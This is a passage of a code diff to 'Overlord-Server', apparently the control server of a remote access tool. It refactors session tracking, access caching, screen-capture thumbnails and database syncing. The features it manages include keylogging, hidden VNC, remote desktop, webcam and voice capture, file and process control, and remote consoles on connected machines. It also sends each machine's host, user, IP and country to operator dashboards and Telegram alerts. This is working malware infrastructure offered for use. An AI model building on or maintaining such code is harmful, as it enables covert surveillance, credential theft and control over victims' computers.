sessionManager.getAllFileBrowserSessions().delete(sessionId); + sessionManager.deleteFileBrowserSession(sessionId); } return; } if (role === "process_viewer") { if (sessionId) { - sessionManager.getAllProcessSessions().delete(sessionId); + sessionManager.deleteProcessSession(sessionId); } return; } @@ -661,6 +682,14 @@ export function handleWebSocketClose( } if (role === "client" && currentClient) { + deps.notifyDashboardClientEvent("client_offline", { + id: clientId, + host: currentClient.host, + user: currentClient.user, + os: currentClient.os, + ip: currentClient.ip, + country: currentClient.country, + }); deps.broadcastClientEvent("client_offline", { id: clientId, host: currentClient.host, diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index 97aba88..f9f235a 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -235,10 +235,9 @@ export function stopConsoleOnTarget(target: ClientInfo | undefined, sessionId: s } export function notifyConsoleClosed(clientId: string, reason: string) { - for (const [sessionId, session] of sessionManager.getAllConsoleSessions().entries()) { - if (session.clientId !== clientId) continue; + for (const session of sessionManager.getConsoleSessionsByClient(clientId)) { safeSendViewer(session.viewer, { type: "status", status: "closed", reason, sessionId }); - sessionManager.deleteConsoleSession(sessionId); + sessionManager.deleteConsoleSession(session.id); } } diff --git a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts index 541954a..0f3cf28 100644 --- a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts +++ b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts @@ -58,7 +58,7 @@ export function handleFileBrowserViewerOpen(ws: ServerWebSocket) { const sessionId = uuidv4(); const target = clientManager.getClient(clientId); const session: FileBrowserViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() }; - sessionManager.getAllFileBrowserSessions().set(sessionId, session); + sessionManager.addFileBrowserSession(session); ws.data.sessionId = sessionId; safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target, clientUser: target?.user || "", clientOs: target?.os || "" }); if (!target) { @@ -240,8 +240,7 @@ export function handleFileBrowserMessage(clientId: string, payload: any, deps: W } let hasSession = false; - for (const session of sessionManager.getAllFileBrowserSessions().values()) { - if (session.clientId !== clientId) continue; + for (const session of sessionManager.getFileBrowserSessionsByClient(clientId)) { if (!hasSession) { hasSession = true; if (type && type !== "command_result" && type !== "command_progress") { @@ -265,7 +264,7 @@ export function handleProcessViewerOpen(ws: ServerWebSocket) { const sessionId = uuidv4(); const target = clientManager.getClient(clientId); const session: ProcessViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() }; - sessionManager.getAllProcessSessions().set(sessionId, session); + sessionManager.addProcessSession(session); ws.data.sessionId = sessionId; safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target }); if (!target) { @@ -305,8 +304,7 @@ export function handleProcessViewerMessage(ws: ServerWebSocket, raw: } export function handleProcessMessage(clientId: string, payload: any) { - for (const session of sessionManager.getAllProcessSessions().values()) { - if (session.clientId !== clientId) continue; + for (const session of sessionManager.getProcessSessionsByClient(clientId)) { safeSendViewer(session.viewer, payload); } } @@ -371,8 +369,7 @@ export function handleKeyloggerViewerMessage(ws: ServerWebSocket, ra } export function handleKeyloggerMessage(clientId: string, payload: any) { - for (const session of sessionManager.getAllKeyloggerSessions().values()) { - if (session.clientId !== clientId) continue; + for (const session of sessionManager.getKeyloggerSessionsByClient(clientId)) { safeSendViewer(session.viewer, payload); } } diff --git a/Overlord-Server/src/server/ws-voice.ts b/Overlord-Server/src/server/ws-voice.ts index 9d07565..052e237 100644 --- a/Overlord-Server/src/server/ws-voice.ts +++ b/Overlord-Server/src/server/ws-voice.ts @@ -88,11 +88,9 @@ export function handleVoiceUplink(clientId: string, payload: any) { : null; if (!bytes || bytes.byteLength === 0) return; - for (const session of sessionManager.getAllVoiceSessions().values()) { + for (const session of sessionManager.getVoiceSessionsByClient(clientId)) { if (sessionId) { if (session.id !== sessionId) continue; - } else if (session.clientId !== clientId) { - continue; } try { session.viewer.send(bytes); diff --git a/Overlord-Server/src/sessions/sessionManager.ts b/Overlord-Server/src/sessions/sessionManager.ts index 8cae849..eb09ede 100644 --- a/Overlord-Server/src/sessions/sessionManager.ts +++ b/Overlord-Server/src/sessions/sessionManager.ts @@ -22,14 +22,19 @@ const consoleSessions = new Map(); const rdSessions = new Map(); const webcamSessions = new Map(); const hvncSessions = new Map(); // HVNC uses same structure as RD +const consoleSessionsByClient = new Map>(); const rdSessionsByClient = new Map>(); const webcamSessionsByClient = new Map>(); const hvncSessionsByClient = new Map>(); const fileBrowserSessions = new Map(); const processSessions = new Map(); +const fileBrowserSessionsByClient = new Map>(); +const processSessionsByClient = new Map>(); const notificationSessions = new Map(); const keyloggerSessions = new Map(); +const keyloggerSessionsByClient = new Map>(); const voiceSessions = new Map(); +const voiceSessionsByClient = new Map>(); const dashboardSessions = new Map(); function addSessionToClientIndex( @@ -60,6 +65,7 @@ function removeSessionFromClientIndex( export function addConsoleSession(session: ConsoleSession): void { consoleSessions.set(session.id, session); + addSessionToClientIndex(consoleSessionsByClient, session.clientId, session.id); } export function getConsoleSession( @@ -69,13 +75,22 @@ export function getConsoleSession( } export function deleteConsoleSession(sessionId: string): boolean { - return consoleSessions.delete(sessionId); + const existing = consoleSessions.get(sessionId); + if (!existing) return false; + consoleSessions.delete(sessionId); + removeSessionFromClientIndex(consoleSessionsByClient, existing.clientId, sessionId); + return true; } export function getConsoleSessionsByClient(clientId: string): ConsoleSession[] { - return Array.from(consoleSessions.values()).filter( - (s) => s.clientId === clientId, - ); + const ids = consoleSessionsByClient.get(clientId); + if (!ids || ids.size === 0) return []; + const sessions: ConsoleSession[] = []; + for (const id of ids) { + const session = consoleSessions.get(id); + if (session) sessions.push(session); + } + return sessions; } export function getAllConsoleSessions(): Map { @@ -221,6 +236,7 @@ export function getHvncSessionCount(): number { export function addFileBrowserSession(session: FileBrowserViewer): void { fileBrowserSessions.set(session.id, session); + addSessionToClientIndex(fileBrowserSessionsByClient, session.clientId, session.id); } export function getFileBrowserSession( @@ -230,15 +246,24 @@ export function getFileBrowserSession( } export function deleteFileBrowserSession(sessionId: string): boolean { - return fileBrowserSessions.delete(sessionId); + const existing = fileBrowserSessions.get(sessionId); + if (!existing) return false; + fileBrowserSessions.delete(sessionId); + removeSessionFromClientIndex(fileBrowserSessionsByClient, existing.clientId, sessionId); + return true; } export function getFileBrowserSessionsByClient( clientId: string, ): FileBrowserViewer[] { - return Array.from(fileBrowserSessions.values()).filter( - (s) => s.clientId === clientId, - ); + const ids = fileBrowserSessionsByClient.get(clientId); + if (!ids || ids.size === 0) return []; + const sessions: FileBrowserViewer[] = []; + for (const id of ids) { + const session = fileBrowserSessions.get(id); + if (session) sessions.push(session); + } + return sessions; } export function getAllFileBrowserSessions(): Map { @@ -247,6 +272,7 @@ export function getAllFileBrowserSessions(): Map { export function addProcessSession(session: ProcessViewer): void { processSessions.set(session.id, session); + addSessionToClientIndex(processSessionsByClient, session.clientId, session.id); } export function getProcessSession( @@ -256,13 +282,22 @@ export function getProcessSession( } export function deleteProcessSession(sessionId: string): boolean { - return processSessions.delete(sessionId); + const existing = processSessions.get(sessionId); + if (!existing) return false; + processSessions.delete(sessionId); + removeSessionFromClientIndex(processSessionsByClient, existing.clientId, sessionId); + return true; } export function getProcessSessionsByClient(clientId: string): ProcessViewer[] { - return Array.from(processSessions.values()).filter( - (s) => s.clientId === clientId, - ); + const ids = processSessionsByClient.get(clientId); + if (!ids || ids.size === 0) return []; + const sessions: ProcessViewer[] = []; + for (const id of ids) { + const session = processSessions.get(id); + if (session) sessions.push(session); + } + return sessions; } export function getAllProcessSessions(): Map { @@ -337,6 +372,7 @@ export function safeSendViewerFrame( export function addKeyloggerSession(session: KeyloggerViewer): void { keyloggerSessions.set(session.id, session); + addSessionToClientIndex(keyloggerSessionsByClient, session.clientId, session.id); } export function getKeyloggerSession( @@ -346,15 +382,24 @@ export function getKeyloggerSession( } export function deleteKeyloggerSession(sessionId: string): boolean { - return keyloggerSessions.delete(sessionId); + const existing = keyloggerSessions.get(sessionId); + if (!existing) return false; + keyloggerSessions.delete(sessionId); + removeSessionFromClientIndex(keyloggerSessionsByClient, existing.clientId, sessionId); + return true; } export function getKeyloggerSessionsByClient( clientId: string, ): KeyloggerViewer[] { - return Array.from(keyloggerSessions.values()).filter( - (s) => s.clientId === clientId, - ); + const ids = keyloggerSessionsByClient.get(clientId); + if (!ids || ids.size === 0) return []; + const sessions: KeyloggerViewer[] = []; + for (const id of ids) { + const session = keyloggerSessions.get(id); + if (session) sessions.push(session); + } + return sessions; } export function getAllKeyloggerSessions(): Map { @@ -363,6 +408,7 @@ export function getAllKeyloggerSessions(): Map { export function addVoiceSession(session: VoiceViewer): void { voiceSessions.set(session.id, session); + addSessionToClientIndex(voiceSessionsByClient, session.clientId, session.id); } export function getVoiceSession(sessionId: string): VoiceViewer | undefined { @@ -370,11 +416,22 @@ export function getVoiceSession(sessionId: string): VoiceViewer | undefined { } export function deleteVoiceSession(sessionId: string): boolean { - return voiceSessions.delete(sessionId); + const existing = voiceSessions.get(sessionId); + if (!existing) return false; + voiceSessions.delete(sessionId); + removeSessionFromClientIndex(voiceSessionsByClient, existing.clientId, sessionId); + return true; } export function getVoiceSessionsByClient(clientId: string): VoiceViewer[] { - return Array.from(voiceSessions.values()).filter((s) => s.clientId === clientId); + const ids = voiceSessionsByClient.get(clientId); + if (!ids || ids.size === 0) return []; + const sessions: VoiceViewer[] = []; + for (const id of ids) { + const session = voiceSessions.get(id); + if (session) sessions.push(session); + } + return sessions; } export function getAllVoiceSessions(): Map { @@ -400,6 +457,30 @@ export function getDashboardSessionCount(): number { let dashboardBroadcastTimer: ReturnType | null = null; const DASHBOARD_DEBOUNCE_MS = 150; +export function notifyDashboardClientEvent( + event: "client_online" | "client_offline" | "client_purgatory", + info: { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string }, +): void { + const msg = JSON.stringify({ + type: "client_event", + event, + clientId: info.id, + host: info.host, + user: info.user, + os: info.os, + ip: info.ip, + country: info.country, + ts: Date.now(), + }); + for (const [id, session] of dashboardSessions) { + try { + session.viewer.send(msg); + } catch { + dashboardSessions.delete(id); + } + } +} + export function notifyDashboardViewers(): void { if (dashboardBroadcastTimer) return; dashboardBroadcastTimer = setTimeout(() => { diff --git a/Overlord-Server/src/thumbnails.ts b/Overlord-Server/src/thumbnails.ts index 2f55395..eb84b9a 100644 --- a/Overlord-Server/src/thumbnails.ts +++ b/Overlord-Server/src/thumbnails.ts @@ -1,5 +1,15 @@ +import sharp from "sharp"; + +const THUMBNAIL_WIDTH = Math.max(64, Number(process.env.OVERLORD_THUMBNAIL_WIDTH || 1920)); +const THUMBNAIL_HEIGHT = Math.max(48, Number(process.env.OVERLORD_THUMBNAIL_HEIGHT || 1080)); +const THUMBNAIL_QUALITY = Math.min(90, Math.max(40, Number(process.env.OVERLORD_THUMBNAIL_QUALITY || 72))); +const MAX_THUMBNAIL_SOURCE_BYTES = Math.max( + 256 * 1024, + Number(process.env.OVERLORD_THUMBNAIL_MAX_SOURCE_BYTES || 16 * 1024 * 1024), +); + const thumbnails = new Map(); -const latestFrames = new Map(); +const latestFrames = new Map(); const thumbnailRequests = new Map(); export function setThumbnail(id: string, dataUrl: string) { @@ -17,20 +27,55 @@ export function clearThumbnail(id: string) { } export function setLatestFrame(id: string, bytes: Uint8Array, format: string) { - latestFrames.set(id, { bytes, format }); + if (!bytes || bytes.byteLength === 0 || bytes.byteLength > MAX_THUMBNAIL_SOURCE_BYTES) { + latestFrames.delete(id); + return; + } + latestFrames.set(id, { bytes, format, capturedAt: Date.now() }); } -export function generateThumbnail(id: string): boolean { +async function buildThumbnailDataUrl(bytes: Uint8Array, format: string): Promise { + if (!bytes || bytes.byteLength === 0) { + return null; + } + + const inputFormat = format === "jpg" ? "jpeg" : format; + if (!["jpeg", "webp"].includes(inputFormat)) { + return null; + } + + const output = await sharp(Buffer.from(bytes), { failOn: "none" }) + .rotate() + .resize({ + width: THUMBNAIL_WIDTH, + height: THUMBNAIL_HEIGHT, + fit: "inside", + withoutEnlargement: true, + fastShrinkOnLoad: true, + }) + .webp({ quality: THUMBNAIL_QUALITY }) + .toBuffer(); + + return `data:image/webp;base64,${output.toString("base64")}`; +} + +export async function generateThumbnail(id: string): Promise { const frameData = latestFrames.get(id); if (!frameData) { return false; } - - const { bytes, format } = frameData; - const b64 = Buffer.from(bytes).toString("base64"); - const mime = format === "webp" ? "image/webp" : "image/jpeg"; - thumbnails.set(id, `data:${mime};base64,${b64}`); - return true; + + try { + const dataUrl = await buildThumbnailDataUrl(frameData.bytes, frameData.format); + if (!dataUrl) { + return false; + } + thumbnails.set(id, dataUrl); + latestFrames.delete(id); + return true; + } catch { + return false; + } } export function markThumbnailRequested(id: string) { diff --git a/Overlord-Server/src/users.ts b/Overlord-Server/src/users.ts index eafb1e9..aab5332 100644 --- a/Overlord-Server/src/users.ts +++ b/Overlord-Server/src/users.ts @@ -44,6 +44,15 @@ export interface UserClientAccessRule { access: ClientAccessRuleKind; } +type UserAccessCacheEntry = { + scope: ClientAccessScope; + allow: Set; + deny: Set; +}; + +const userAccessCache = new Map(); +let notificationDeliveryCache: UserDeliveryRow[] | null = null; + db.exec(` CREATE TABLE IF NOT EXISTS users ( id INTEGER PRIMARY KEY AUTOINCREMENT, @@ -207,10 +216,7 @@ export function listUsers(): UserInfo[] { } export function getUserClientAccessScope(userId: number): ClientAccessScope { - const row = db - .prepare("SELECT client_scope FROM users WHERE id = ?") - .get(userId) as { client_scope?: ClientAccessScope } | undefined; - return row?.client_scope || "none"; + return getUserAccessCacheEntry(userId).scope; } export function listUserClientAccessRules(userId: number): UserClientAccessRule[] { @@ -225,12 +231,54 @@ export function listUserClientRuleIdsByAccess( userId: number, access: ClientAccessRuleKind, ): string[] { - return db + const entry = getUserAccessCacheEntry(userId); + const values = access === "allowlist" ? [] : access === "allow" ? entry.allow : entry.deny; + return Array.from(values).sort((left, right) => left.localeCompare(right)); +} + +function invalidateUserAccessCache(userId?: number): void { + if (userId === undefined) { + userAccessCache.clear(); + return; + } + userAccessCache.delete(userId); +} + +function invalidateNotificationDeliveryCache(): void { + notificationDeliveryCache = null; +} + +function getUserAccessCacheEntry(userId: number): UserAccessCacheEntry { + const cached = userAccessCache.get(userId); + if (cached) { + return cached; + } + + const row = db + .prepare("SELECT client_scope FROM users WHERE id = ?") + .get(userId) as { client_scope?: ClientAccessScope } | undefined; + const rules = db .prepare( - "SELECT client_id as clientId FROM user_client_access_rules WHERE user_id = ? AND access = ? ORDER BY client_id ASC", + "SELECT client_id as clientId, access FROM user_client_access_rules WHERE user_id = ?", ) - .all(userId, access) - .map((row: { clientId: string }) => row.clientId); + .all(userId) as Array<{ clientId: string; access: ClientAccessRuleKind }>; + + const entry: UserAccessCacheEntry = { + scope: row?.client_scope || "none", + allow: new Set(), + deny: new Set(), + }; + + for (const rule of rules) { + if (rule.access === "allow") { + entry.allow.add(rule.clientId); + } else if (rule.access === "deny") { + entry.deny.add(rule.clientId); + } + } + + userAccessCache.set(userId, entry); + return entry; } export function setUserClientAccessScope( @@ -243,6 +291,7 @@ export function setUserClientAccessScope( try { db.prepare("UPDATE users SET client_scope = ? WHERE id = ?").run(scope, userId); + invalidateUserAccessCache(userId); return { success: true }; } catch (err: any) { logger.error("[users] setUserClientAccessScope error:", err); @@ -267,6 +316,7 @@ export function setUserClientAccessRule( db.prepare( "INSERT OR REPLACE INTO user_client_access_rules (user_id, client_id, access, created_at) VALUES (?, ?, ?, ?)", ).run(userId, normalizedClientId, access, Date.now()); + invalidateUserAccessCache(userId); return { success: true }; } catch (err: any) { logger.error("[users] setUserClientAccessRule error:", err); @@ -283,6 +333,7 @@ export function removeUserClientAccessRule( userId, clientId, ); + invalidateUserAccessCache(userId); return { success: true }; } catch (err: any) { logger.error("[users] removeUserClientAccessRule error:", err); @@ -297,21 +348,16 @@ export function canUserAccessClient( ): boolean { if (role === "admin") return true; - const scope = getUserClientAccessScope(userId); + const access = getUserAccessCacheEntry(userId); + const scope = access.scope; if (scope === "none") return false; if (scope === "all") return true; - const row = db - .prepare( - "SELECT access FROM user_client_access_rules WHERE user_id = ? AND client_id = ?", - ) - .get(userId, clientId) as { access?: ClientAccessRuleKind } | undefined; - if (scope === "allowlist") { - return row?.access === "allow"; + return access.allow.has(clientId); } if (scope === "denylist") { - return row?.access !== "deny"; + return !access.deny.has(clientId); } return false; } @@ -383,6 +429,8 @@ export async function createUser( ) .run(username, passwordHash, role, Date.now(), createdBy, role === "admin" ? "all" : "none", role === "admin" || role === "operator" ? 1 : 0); + invalidateNotificationDeliveryCache(); + return { success: true, userId: result.lastInsertRowid as number }; } catch (err: any) { logger.error("[users] Create user error:", err); @@ -429,6 +477,8 @@ export function updateUserRole( nextScope, userId, ); + invalidateUserAccessCache(userId); + invalidateNotificationDeliveryCache(); return { success: true }; } catch (err: any) { console.error("[users] Update role error:", err); @@ -451,6 +501,8 @@ export function deleteUser(userId: number): { try { db.prepare("DELETE FROM users WHERE id = ?").run(userId); + invalidateUserAccessCache(userId); + invalidateNotificationDeliveryCache(); return { success: true }; } catch (err: any) { console.error("[users] Delete user error:", err); @@ -538,6 +590,7 @@ export function setUserTelegramChatId( ): { success: boolean; error?: string } { try { db.prepare("UPDATE users SET telegram_chat_id = ? WHERE id = ?").run(chatId, userId); + invalidateNotificationDeliveryCache(); return { success: true }; } catch (err: any) { logger.error("[users] setUserTelegramChatId error:", err); @@ -622,6 +675,7 @@ export function updateUserNotificationSettings( try { values.push(userId); db.prepare(`UPDATE users SET ${fields.join(", ")} WHERE id = ?`).run(...values); + invalidateNotificationDeliveryCache(); return { success: true }; } catch (err: any) { logger.error("[users] updateUserNotificationSettings error:", err); @@ -644,7 +698,11 @@ export interface UserDeliveryRow { } export function getUsersForNotificationDelivery(): UserDeliveryRow[] { - return db + if (notificationDeliveryCache) { + return notificationDeliveryCache; + } + + notificationDeliveryCache = db .prepare( `SELECT id, username, role, client_scope, webhook_enabled, webhook_url, webhook_template, @@ -655,4 +713,12 @@ export function getUsersForNotificationDelivery(): UserDeliveryRow[] { AND telegram_chat_id IS NOT NULL AND telegram_chat_id != '')`, ) .all() as UserDeliveryRow[]; + + return notificationDeliveryCache; +} + +export function getUsersForNotificationDeliveryByClient(clientId: string): UserDeliveryRow[] { + return getUsersForNotificationDelivery().filter((user) => + canUserAccessClient(user.id, user.role, clientId), + ); } diff --git a/Overlord-Server/src/wsHandlers.ts b/Overlord-Server/src/wsHandlers.ts index 4a5ae12..8506719 100644 --- a/Overlord-Server/src/wsHandlers.ts +++ b/Overlord-Server/src/wsHandlers.ts @@ -14,6 +14,48 @@ import { metrics } from "./metrics"; const MAX_PING_RTT_MS = 15_000; const CLIENT_DB_SYNC_INTERVAL_MS = Number(process.env.OVERLORD_CLIENT_DB_SYNC_MS || 5000); const lastClientDbSync = new Map(); +const pendingClientDbUpdates = new Map< + string, + Partial & { + id: string; + lastSeen?: number; + online?: number; + } +>(); + +function queueClientDbUpdate( + partial: Partial & { + id: string; + lastSeen?: number; + online?: number; + }, +): void { + const existing = pendingClientDbUpdates.get(partial.id); + if (!existing) { + pendingClientDbUpdates.set(partial.id, { ...partial }); + return; + } + pendingClientDbUpdates.set(partial.id, { + ...existing, + ...partial, + id: partial.id, + lastSeen: partial.lastSeen ?? existing.lastSeen, + online: partial.online ?? existing.online, + pingMs: partial.pingMs ?? existing.pingMs, + }); +} + +function flushQueuedClientDbUpdates(): void { + if (pendingClientDbUpdates.size === 0) { + return; + } + for (const update of pendingClientDbUpdates.values()) { + upsertClientRow(update); + } + pendingClientDbUpdates.clear(); +} + +setInterval(flushQueuedClientDbUpdates, CLIENT_DB_SYNC_INTERVAL_MS); function shouldSyncClientToDb(clientId: string, now: number): boolean { const last = lastClientDbSync.get(clientId) || 0; @@ -26,6 +68,7 @@ function shouldSyncClientToDb(clientId: string, now: number): boolean { export function clearClientSyncState(clientId: string): void { lastClientDbSync.delete(clientId); + pendingClientDbUpdates.delete(clientId); } export function handleHello( @@ -81,7 +124,7 @@ export function handlePing(info: ClientInfo, payload: WireMessage, ws: any) { info.lastSeen = now; info.online = true; if (shouldSyncClientToDb(info.id, now)) { - upsertClientRow({ + queueClientDbUpdate({ id: info.id, lastSeen: info.lastSeen, online: 1, @@ -136,7 +179,7 @@ export function handlePong(info: ClientInfo, payload: WireMessage) { if (rtt >= 0 && rtt < maxRttMs) { info.pingMs = rtt; - upsertClientRow({ + queueClientDbUpdate({ id: info.id, pingMs: info.pingMs, lastSeen: info.lastSeen, @@ -147,7 +190,7 @@ export function handlePong(info: ClientInfo, payload: WireMessage) { metrics.recordPing(rtt); } else { if (shouldSyncClientToDb(info.id, nowTs)) { - upsertClientRow({ + queueClientDbUpdate({ id: info.id, lastSeen: info.lastSeen, online: 1, @@ -192,14 +235,16 @@ export function handleFrame(info: ClientInfo, payload: any) { if (safeFormat) { const now = Date.now(); - setLatestFrame(info.id, bytes, safeFormat); - if (consumeThumbnailRequest(info.id) || !getThumbnail(info.id)) { - generateThumbnail(info.id); + const thumbnailRequested = consumeThumbnailRequest(info.id); + const hasThumbnail = Boolean(getThumbnail(info.id)); + if (thumbnailRequested || !hasThumbnail) { + setLatestFrame(info.id, bytes, safeFormat); + void generateThumbnail(info.id); } info.lastSeen = now; info.online = true; if (shouldSyncClientToDb(info.id, now)) { - upsertClientRow({ id: info.id, lastSeen: now, online: 1 }); + queueClientDbUpdate({ id: info.id, lastSeen: now, online: 1 }); } } }